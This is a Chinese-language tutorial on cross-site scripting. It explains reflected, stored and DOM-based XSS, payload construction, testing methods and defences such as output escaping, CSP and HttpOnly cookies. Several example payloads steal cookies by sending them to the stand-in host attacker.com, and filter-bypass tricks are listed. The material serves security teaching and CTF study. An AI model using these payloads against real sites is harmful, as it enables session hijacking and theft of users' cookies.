XSS 常见类型及核心知识点
XSS（跨站脚本攻击）是Web安全中最常见的漏洞之一，核心原理是用户输入未被有效过滤/转义，直接被当作HTML/JS代码渲染到页面，导致浏览器执行恶意脚本，可实现窃取Cookie、劫持会话、篡改页面、钓鱼攻击等危害。以下是其常见类型及核心知识点梳理。
一、XSS 三大核心类型
- 反射型XSS（非持久型）
反射型XSS是最基础的类型，恶意代码通过URL参数、表单输入等方式传入，服务器未做处理直接“反射”回页面执行，仅当前点击恶意链接的用户触发，不存储到服务器。
- 触发场景：搜索框、URL传参页面、登录跳转页、反馈表单等。
- 典型示例：
http://test.com/search?keyword=<script>alert('XSS')</script>，服务器直接将参数值渲染到页面，浏览器解析执行脚本。 - 特点：触发依赖用户点击恶意链接，传播范围有限，但易构造、利用门槛低，是CTF和渗透测试中高频考点。
- 存储型XSS（持久型）
存储型XSS危害最大，恶意代码提交后被服务器存储（数据库、文件、缓存等），所有访问该页面的用户都会触发，无需主动点击恶意链接。
- 触发场景：评论区、留言板、用户昵称/简介、文章发布、后台日志等。
- 典型示例：在博客评论区提交
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>，代码存入数据库，后续所有浏览该文章的用户都会执行脚本，Cookie被窃取。 - 特点：持久化存储、批量触发、隐蔽性强，是企业Web应用的高危漏洞，需重点防范。
- DOM型XSS
DOM型XSS属于客户端漏洞，恶意代码不经过服务器处理，直接通过前端JS修改DOM结构触发，漏洞根源在前端代码逻辑。
- 触发场景：前端通过
location.hash、document.URL、innerHTML、document.write等直接渲染用户输入，未做过滤。 - 典型示例：页面JS代码
document.getElementById('content').innerHTML = location.hash.substr(1)，访问http://test.com<img src=x onerror=alert(1)>，前端直接解析哈希值中的恶意代码，无需服务器参与。 - 特点：漏洞仅存在于客户端，服务器日志难以记录，绕过难度较低，常与前端框架漏洞结合利用。
二、XSS 核心知识点
- 攻击Payload 核心技巧
XSS利用的关键是构造可绕过过滤的Payload，常见技巧包括：
- 基础弹窗验证：
<script>alert(1)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>（无脚本标签绕过）。 - 敏感数据窃取：
<script>location.href='http://attacker.com/steal?cookie='+document.cookie</script>（窃取Cookie）、<script>fetch('http://attacker.com',{method:'POST',body:document.cookie})</script>（外带数据）。 - 过滤绕过：大小写混淆（
<ScRiPt>）、HTML实体编码（&x3C;script&x3E;）、拼接绕过（eval("ale"+"rt(1)")）、事件属性绕过（onmouseover、onclick）。
- 漏洞挖掘思路
- 手动测试：在所有用户可控输入点（输入框、URL参数、Cookie、请求头）插入基础Payload，观察页面是否执行；重点测试DOM操作、富文本编辑器、URL哈希值。
- 工具辅助：使用Burp Suite的XSS扫描模块、XSS Hunter盲打平台，自动化检测并验证漏洞；结合浏览器控制台，查看DOM渲染是否存在恶意代码。
- 代码审计：后端重点检查
echo、print等输出函数是否做转义，前端重点排查innerHTML、document.write等危险操作，确认输入是否经过过滤。
- 防御核心措施
- 输入过滤：对用户输入做白名单校验，仅允许合法字符，过滤
<script>、on事件、javascript:伪协议等危险内容。 - 输出转义：渲染到页面前，对
<、>、"、'、&等特殊字符做HTML实体转义，避免浏览器解析为代码。 - CSP（内容安全策略）：通过HTTP头
Content-Security-Policy限制资源加载，禁止内联脚本、指定可信脚本源，从源头阻断XSS执行。 - HttpOnly Cookie：设置Cookie的HttpOnly属性，禁止JS读取Cookie，缓解Cookie窃取风险。
- 安全编码：前端优先使用
textContent替代innerHTML，后端使用框架自带的转义函数（如PHP的htmlspecialchars），避免手动处理过滤逻辑。
- 漏洞危害与延伸
XSS不仅可窃取会话，还能结合CSRF实现账户劫持、篡改页面内容实施钓鱼、利用浏览器漏洞提升权限，甚至联动其他漏洞（如文件上传、SQL注入）形成组合攻击。在CTF中，XSS常结合盲打、绕过过滤、CSP绕过等考点，是Web方向的核心考察内容。
综上，XSS的核心是“输入输出处理不当”，掌握其类型、Payload构造、挖掘与防御方法，既能应对渗透测试实战，也能高效解决CTF相关题目，是Web安全学习的基础必备知识点。